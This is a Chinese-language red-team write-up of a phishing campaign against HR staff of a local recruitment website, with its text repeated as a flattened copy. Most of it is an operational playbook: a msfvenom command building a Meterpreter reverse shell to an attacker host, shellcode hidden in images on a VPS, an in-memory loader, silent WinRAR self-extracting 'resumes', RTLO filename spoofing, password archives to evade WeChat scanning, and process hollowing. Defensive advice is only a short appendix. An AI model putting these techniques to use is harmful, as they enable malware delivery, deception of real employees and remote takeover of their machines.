攻防演练 | 记一次社工钓鱼全过程
字数 1615 2025-08-10 16:34:22

社会工程学钓鱼攻击实战教学文档

0x00 前言

社会工程学钓鱼攻击在传统攻击手段失效时是一种有效的突破方式。本文详细记录了一次针对招聘网站的社工钓鱼全过程，重点讲解社工构思、场景构建和技术实现，涵盖免杀处理、社工策略、钓鱼执行等关键环节。

0x01 免杀处理技术

分离加载技术实现

  1. Shellcode生成与处理

    • 使用MSF生成原始格式的shellcode
    • 对shellcode进行加密处理（避免静态检测）
    • 加密算法选择：AES或自定义XOR加密

  2. 载体选择与隐藏

    • 将加密后的shellcode嵌入图片文件（PNG/JPG）
    • 图片上传至可控VPS并开启对外服务
    • 使用HTTP/HTTPS协议提供下载

  3. 加载器实现

    • 使用C++编写加载器程序
    • 功能流程：
      1. 从指定URL下载图片文件
      2. 提取并解密嵌入的shellcode
      3. 内存注入执行（避免文件落地）
    • 关键API选择：
      • 使用冷门Windows API（如Nt系列API）
      • 避免使用VirtualAlloc等常见API

  4. MSF生成shellcode时的混淆参数：

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=443 -f raw -o payload.bin --encrypt xor --encrypt-key "yourkey" --smallest --encoder x64/zutto_dekiru

0x02 社工策略构建

目标选择与分析

  1. 目标平台特征

    • 地方性综合网站（含招聘模块）
    • 包含论坛、装修、买车、二手房等多功能
    • 招聘模块允许简历投递

  2. 攻击切入点

    • 利用招聘流程的天然信任链
    • 伪装成求职者发送"简历"
    • 利用HR查看简历的心理预期

攻击载体设计

  1. 压缩捆绑技术

    • 制作合法简历文件（Word/PDF）
    • 将加载器与简历文件捆绑
    • 使用WinRAR创建自解压包：
      1. 选中简历和加载器右键压缩
      2. 选择"创建自解压格式压缩文件"
      3. 高级→自解压选项→设置：
      • "提取后运行"填入加载器名称
      • 模式→静默模式→全部隐藏

  2. 文件名欺骗技术

    • Unicode RTLO方法（右到左覆盖）
    • 示例：将"resume.exe"显示为"exe.emuser"
    • 注意：微信等平台会破坏此效果

  3. 多层压缩保护

    • 外层：正常压缩包（设密码保护）
    • 内层：自解压捆绑包
    • 解压流程：
      1. HR收到压缩包→解压
      2. 得到"加密简历"（实际是捆绑器）
      3. 输入密码"查看简历"→触发加载器

0x03 钓鱼执行流程

初始攻击尝试

  1. 直接通过网站投递简历失败（网站限制）
  2. 寻找替代接触点：
    • 网站客服二维码（企业微信）
    • 招聘模块顶部微小二维码

实际攻击步骤

  1. 建立联系

    • 扫描目标二维码添加微信
    • 通过验证后建立对话

  2. 诱饵投递

    • 发送精心制作的"简历"压缩包
    • 压缩包特征：
      • 设置解压密码增加可信度
      • 文件名符合求职场景

  3. 等待上线

    • 监控C2服务器等待会话
    • 典型问题：延迟上线（2小时后）
    • 可主动发送消息触发交互

0x04 技术难点与解决方案

  1. 微信传输限制

    • 问题：exe文件检测严格
    • 解决方案：
      • 多层压缩绕过检测
      • 设置解压密码降低警惕

  2. 免杀持久性

    • 问题：加载器进程明显
    • 改进方案：
      • 上线后立即进程迁移
      • 注入到稳定系统进程
      • 使用Process Hollowing技术

  3. 行为隐蔽性

    • 问题：解压后文件残留
    • 解决方案：
      • 加载器自删除功能
      • 使用Windows API： 
        MoveFileEx(lpTempFileName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);

0x05 经验总结与提升方向

关键经验

  1. 目标身份确认

    • 钓鱼前确认是否为关键人物
    • 避免攻击个人PC（价值低）

  2. 攻击广度策略

    • 专项钓鱼：精准识别目标
    • 广撒网：提高成功率

改进方向

  1. 技术扩展

    • Word宏木马技术
    • PDF嵌入式攻击
    • LNK文件利用

  2. 隐蔽性提升

    • 无文件攻击技术
    • 内存驻留方案
    • 合法进程注入

  3. 社工技巧

    • 话术剧本设计
    • 身份伪装深度
    • 多阶段信任建立

附录：检测与防御建议

针对企业

  1. 邮件/文件安全策略

    • 禁止执行压缩包内程序
    • 强制扫描所有附件

  2. 员工安全意识培训

    • 识别可疑文件
    • 验证未知联系人

针对个人

  1. 安全操作习惯

    • 不打开未知来源文件
    • 警惕"加密"文件

  2. 系统防护

    • 启用杀软行为检测
    • 限制PowerShell执行策略

本教学文档详细呈现了一次完整的社会工程学钓鱼攻击全流程，重点突出了技术实现细节和社工策略构建，可作为安全研究和防御建设的参考材料。请勿用于非法用途。

社会工程学钓鱼攻击实战教学文档 0x00 前言 社会工程学钓鱼攻击在传统攻击手段失效时是一种有效的突破方式。本文详细记录了一次针对招聘网站的社工钓鱼全过程，重点讲解社工构思、场景构建和技术实现，涵盖免杀处理、社工策略、钓鱼执行等关键环节。 0x01 免杀处理技术 分离加载技术实现 Shellcode生成与处理 使用MSF生成原始格式的shellcode 对shellcode进行加密处理（避免静态检测） 加密算法选择：AES或自定义XOR加密 载体选择与隐藏 将加密后的shellcode嵌入图片文件（PNG/JPG） 图片上传至可控VPS并开启对外服务 使用HTTP/HTTPS协议提供下载 加载器实现 使用C++编写加载器程序 功能流程： 从指定URL下载图片文件 提取并解密嵌入的shellcode 内存注入执行（避免文件落地） 关键API选择： 使用冷门Windows API（如Nt系列API） 避免使用VirtualAlloc等常见API MSF生成shellcode时的混淆参数： 0x02 社工策略构建 目标选择与分析 目标平台特征 地方性综合网站（含招聘模块） 包含论坛、装修、买车、二手房等多功能 招聘模块允许简历投递 攻击切入点 利用招聘流程的天然信任链 伪装成求职者发送"简历" 利用HR查看简历的心理预期 攻击载体设计 压缩捆绑技术 制作合法简历文件（Word/PDF） 将加载器与简历文件捆绑 使用WinRAR创建自解压包： 选中简历和加载器右键压缩 选择"创建自解压格式压缩文件" 高级→自解压选项→设置： "提取后运行"填入加载器名称 模式→静默模式→全部隐藏 文件名欺骗技术 Unicode RTLO方法（右到左覆盖） 示例：将"resume.exe"显示为"exe.emuser" 注意：微信等平台会破坏此效果 多层压缩保护 外层：正常压缩包（设密码保护） 内层：自解压捆绑包 解压流程： HR收到压缩包→解压 得到"加密简历"（实际是捆绑器） 输入密码"查看简历"→触发加载器 0x03 钓鱼执行流程 初始攻击尝试 直接通过网站投递简历失败（网站限制） 寻找替代接触点： 网站客服二维码（企业微信） 招聘模块顶部微小二维码 实际攻击步骤 建立联系 扫描目标二维码添加微信 通过验证后建立对话 诱饵投递 发送精心制作的"简历"压缩包 压缩包特征： 设置解压密码增加可信度 文件名符合求职场景 等待上线 监控C2服务器等待会话 典型问题：延迟上线（2小时后） 可主动发送消息触发交互 0x04 技术难点与解决方案 微信传输限制 问题：exe文件检测严格 解决方案： 多层压缩绕过检测 设置解压密码降低警惕 免杀持久性 问题：加载器进程明显 改进方案： 上线后立即进程迁移 注入到稳定系统进程 使用Process Hollowing技术 行为隐蔽性 问题：解压后文件残留 解决方案： 加载器自删除功能 使用Windows API： 0x05 经验总结与提升方向 关键经验 目标身份确认 钓鱼前确认是否为关键人物 避免攻击个人PC（价值低） 攻击广度策略 专项钓鱼：精准识别目标 广撒网：提高成功率 改进方向 技术扩展 Word宏木马技术 PDF嵌入式攻击 LNK文件利用 隐蔽性提升 无文件攻击技术 内存驻留方案 合法进程注入 社工技巧 话术剧本设计 身份伪装深度 多阶段信任建立 附录：检测与防御建议 针对企业 邮件/文件安全策略 禁止执行压缩包内程序 强制扫描所有附件 员工安全意识培训 识别可疑文件 验证未知联系人 针对个人 安全操作习惯 不打开未知来源文件 警惕"加密"文件 系统防护 启用杀软行为检测 限制PowerShell执行策略 本教学文档详细呈现了一次完整的社会工程学钓鱼攻击全流程，重点突出了技术实现细节和社工策略构建，可作为安全研究和防御建设的参考材料。请勿用于非法用途。